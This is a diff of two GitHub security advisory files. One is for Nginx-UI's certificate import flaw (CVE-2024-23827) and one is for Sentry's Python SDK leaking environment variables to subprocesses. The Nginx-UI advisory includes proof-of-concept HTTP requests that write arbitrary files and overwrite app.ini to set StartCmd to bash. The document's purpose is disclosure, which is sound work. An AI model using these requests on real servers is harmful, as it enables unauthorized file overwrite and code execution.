diff --git a/advisories/github-reviewed/2024/01/GHSA-xvq9-4vpv-227m/GHSA-xvq9-4vpv-227m.json b/advisories/github-reviewed/2024/01/GHSA-xvq9-4vpv-227m/GHSA-xvq9-4vpv-227m.json index bdddeee64fc..000a79de682 100644 --- a/advisories/github-reviewed/2024/01/GHSA-xvq9-4vpv-227m/GHSA-xvq9-4vpv-227m.json +++ b/advisories/github-reviewed/2024/01/GHSA-xvq9-4vpv-227m/GHSA-xvq9-4vpv-227m.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-xvq9-4vpv-227m", - "modified": "2024-07-08T20:06:12Z", + "modified": "2024-07-26T21:45:30Z", "published": "2024-01-29T22:30:18Z", "aliases": [ "CVE-2024-23827" ], "summary": "Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature", - "details": "### Summary\n\nThe Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.\n\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72\n\n```\nfunc AddCert(c *gin.Context) {\n\tvar json struct {\n\t\tName string `json:\"name\"`\n\t\tSSLCertificatePath string `json:\"ssl_certificate_path\" binding:\"required\"`\n\t\tSSLCertificateKeyPath string `json:\"ssl_certificate_key_path\" binding:\"required\"`\n\t\tSSLCertificate string `json:\"ssl_certificate\"`\n\t\tSSLCertificateKey string `json:\"ssl_certificate_key\"`\n\t\tChallengeMethod string `json:\"challenge_method\"`\n\t\tDnsCredentialID int `json:\"dns_credential_id\"`\n\t}\n\tif !api.BindAndValid(c, &json) {\n\t\treturn\n\t}\n\tcertModel := &model.Cert{\n\t\tName: json.Name,\n\t\tSSLCertificatePath: json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tChallengeMethod: json.ChallengeMethod,\n\t\tDnsCredentialID: json.DnsCredentialID,\n\t}\n\n\terr := certModel.Insert()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tcontent := &cert.Content{\n\t\tSSLCertificatePath: json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tSSLCertificate: json.SSLCertificate,\n\t\tSSLCertificateKey: json.SSLCertificateKey,\n\t}\n\n\terr = content.WriteFile()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, Transformer(certModel))\n}\n\n```\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15\n\n```\nfunc (c *Content) WriteFile() (err error) {\n\t// MkdirAll creates a directory named path, along with any necessary parents,\n\t// and returns nil, or else returns an error.\n\t// The permission bits perm (before umask) are used for all directories that MkdirAll creates.\n\t// If path is already a directory, MkdirAll does nothing and returns nil.\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif c.SSLCertificate != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif c.SSLCertificateKey != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n```\n\n\n### PoC\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 144\nAccept: application/json, text/plain, */*\nAuthorization: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/tmp/test\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"test\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```\nroot@aze:~/nginx# ls -la /tmp/test*\n-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test\n-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2\n```\n\nIt's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.\n\n```\nroot@aze:~/nginx# cat app.ini | grep \"StartCmd\"\nStartCmd = login\n```\nThen we overwrite the `StartCmd` with `bash`\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 980\nAccept: application/json, text/plain, */*\nAuthorization: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/root/nginx/app.ini\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"[server]\\r\\nHttpHost = 0.0.0.0\\r\\nHttpPort = 9000\\r\\nRunMode = debug\\r\\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\\r\\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\\r\\nHTTPChallengePort = 9180\\r\\nEmail = props@pros.com\\r\\nDatabase = database\\r\\nStartCmd = bash\\r\\nCADir = dqsdqsd\\r\\nDemo = false\\r\\nPageSize = 10\\r\\nGithubProxy = dqsdqfsdfsdfsdfsd\\r\\n\\r\\n[nginx]\\r\\nAccessLogPath =\\r\\nErrorLogPath =\\r\\nConfigDir =\\r\\nPIDPath =\\r\\nTestConfigCmd =\\r\\nReloadCmd =\\r\\nRestartCmd =\\r\\n\\r\\n[openai]\\r\\nBaseUrl = \\r\\nToken =\\r\\nProxy =\\r\\nModel = \\r\\n\\r\\n[casdoor]\\r\\nEndpoint =\\r\\nClientId =\\r\\nClientSecret =\\r\\nCertificate =\\r\\nOrganization =\\r\\nApplication =\\r\\nRedirectUri =\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```\nroot@aze:~/nginx# cat app.ini | grep \"StartCmd\"\nStartCmd = bash\n```\n\nFor the new config to be applied the app needs to be restarted\n\n![image](https://user-images.githubusercontent.com/26652608/299331664-6415a8c1-6611-4e53-8137-3e574c58da28.png)\n\n\n\n### Impact\n\nArbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.", + "details": "### Summary\n\nThe Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.\n\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72\n\n```go\nfunc AddCert(c *gin.Context) {\n\tvar json struct {\n\t\tName string `json:\"name\"`\n\t\tSSLCertificatePath string `json:\"ssl_certificate_path\" binding:\"required\"`\n\t\tSSLCertificateKeyPath string `json:\"ssl_certificate_key_path\" binding:\"required\"`\n\t\tSSLCertificate string `json:\"ssl_certificate\"`\n\t\tSSLCertificateKey string `json:\"ssl_certificate_key\"`\n\t\tChallengeMethod string `json:\"challenge_method\"`\n\t\tDnsCredentialID int `json:\"dns_credential_id\"`\n\t}\n\tif !api.BindAndValid(c, &json) {\n\t\treturn\n\t}\n\tcertModel := &model.Cert{\n\t\tName: json.Name,\n\t\tSSLCertificatePath: json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tChallengeMethod: json.ChallengeMethod,\n\t\tDnsCredentialID: json.DnsCredentialID,\n\t}\n\n\terr := certModel.Insert()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tcontent := &cert.Content{\n\t\tSSLCertificatePath: json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tSSLCertificate: json.SSLCertificate,\n\t\tSSLCertificateKey: json.SSLCertificateKey,\n\t}\n\n\terr = content.WriteFile()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, Transformer(certModel))\n}\n\n```\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15\n\n```go\nfunc (c *Content) WriteFile() (err error) {\n\t// MkdirAll creates a directory named path, along with any necessary parents,\n\t// and returns nil, or else returns an error.\n\t// The permission bits perm (before umask) are used for all directories that MkdirAll creates.\n\t// If path is already a directory, MkdirAll does nothing and returns nil.\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif c.SSLCertificate != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif c.SSLCertificateKey != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n```\n\n\n### PoC\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 144\nAccept: application/json, text/plain, */*\nAuthorization: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/tmp/test\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"test\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# ls -la /tmp/test*\n-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test\n-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2\n```\n\nIt's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.\n\n```bash\nroot@aze:~/nginx# cat app.ini | grep \"StartCmd\"\nStartCmd = login\n```\nThen we overwrite the `StartCmd` with `bash`\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 980\nAccept: application/json, text/plain, */*\nAuthorization: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/root/nginx/app.ini\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"[server]\\r\\nHttpHost = 0.0.0.0\\r\\nHttpPort = 9000\\r\\nRunMode = debug\\r\\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\\r\\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\\r\\nHTTPChallengePort = 9180\\r\\nEmail = props@pros.com\\r\\nDatabase = database\\r\\nStartCmd = bash\\r\\nCADir = dqsdqsd\\r\\nDemo = false\\r\\nPageSize = 10\\r\\nGithubProxy = dqsdqfsdfsdfsdfsd\\r\\n\\r\\n[nginx]\\r\\nAccessLogPath =\\r\\nErrorLogPath =\\r\\nConfigDir =\\r\\nPIDPath =\\r\\nTestConfigCmd =\\r\\nReloadCmd =\\r\\nRestartCmd =\\r\\n\\r\\n[openai]\\r\\nBaseUrl = \\r\\nToken =\\r\\nProxy =\\r\\nModel = \\r\\n\\r\\n[casdoor]\\r\\nEndpoint =\\r\\nClientId =\\r\\nClientSecret =\\r\\nCertificate =\\r\\nOrganization =\\r\\nApplication =\\r\\nRedirectUri =\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# cat app.ini | grep \"StartCmd\"\nStartCmd = bash\n```\n\nFor the new config to be applied the app needs to be restarted\n\n![image](https://user-images.githubusercontent.com/26652608/299331664-6415a8c1-6611-4e53-8137-3e574c58da28.png)\n\n\n\n### Impact\n\nArbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2024/07/GHSA-g92j-qhmh-64v2/GHSA-g92j-qhmh-64v2.json b/advisories/github-reviewed/2024/07/GHSA-g92j-qhmh-64v2/GHSA-g92j-qhmh-64v2.json index 3ab674b4f3b..e3e5430c95b 100644 --- a/advisories/github-reviewed/2024/07/GHSA-g92j-qhmh-64v2/GHSA-g92j-qhmh-64v2.json +++ b/advisories/github-reviewed/2024/07/GHSA-g92j-qhmh-64v2/GHSA-g92j-qhmh-64v2.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-g92j-qhmh-64v2", - "modified": "2024-07-18T19:46:07Z", + "modified": "2024-07-26T21:44:41Z", "published": "2024-07-18T17:18:46Z", "aliases": [ "CVE-2024-40647" ], "summary": "Sentry's Python SDK unintentionally exposes environment variables to subprocesses", - "details": "### Impact\n\nThe bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting.\n\n### Details\n\nIn Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example:\n\n```\n>>> subprocess.check_output([\"env\"], env={\"TEST\":\"1\"})\nb'TEST=1\\n'\n```\n\nIf you'd want to not pass any variables, you can set an empty dict:\n\n```\n>>> subprocess.check_output([\"env\"], env={})\nb''\n```\n\nHowever, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default.\n\n### Patches\nThe issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0).\n\n### Workarounds\n\nWe strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options:\n\n1. In your application, replace `env={}` with the minimal dict `env={\"EMPTY_ENV\":\"1\"}` or similar.\n\nOR\n\n2. Disable Stdlib integration:\n```\nimport sentry_sdk\n\n# Should go before sentry_sdk.init\nsentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove(\"sentry_sdk.integrations.stdlib.StdlibIntegration\")\n\nsentry_sdk.init(...)\n```\n\n### References\n* Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/)\n* Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html)\n* Patch https://github.com/getsentry/sentry-python/pull/3251 \n", + "details": "### Impact\n\nThe bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting.\n\n### Details\n\nIn Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example:\n\n```\n>>> subprocess.check_output([\"env\"], env={\"TEST\":\"1\"})\nb'TEST=1\\n'\n```\n\nIf you'd want to not pass any variables, you can set an empty dict:\n\n```\n>>> subprocess.check_output([\"env\"], env={})\nb''\n```\n\nHowever, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default.\n\n### Patches\nThe issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1).\n\n### Workarounds\n\nWe strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options:\n\n1. In your application, replace `env={}` with the minimal dict `env={\"EMPTY_ENV\":\"1\"}` or similar.\n\nOR\n\n2. Disable Stdlib integration:\n```\nimport sentry_sdk\n\n# Should go before sentry_sdk.init\nsentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove(\"sentry_sdk.integrations.stdlib.StdlibIntegration\")\n\nsentry_sdk.init(...)\n```\n\n### References\n* Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/)\n* Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html)\n* Patch https://github.com/getsentry/sentry-python/pull/3251 \n", "severity": [ { "type": "CVSS_V3",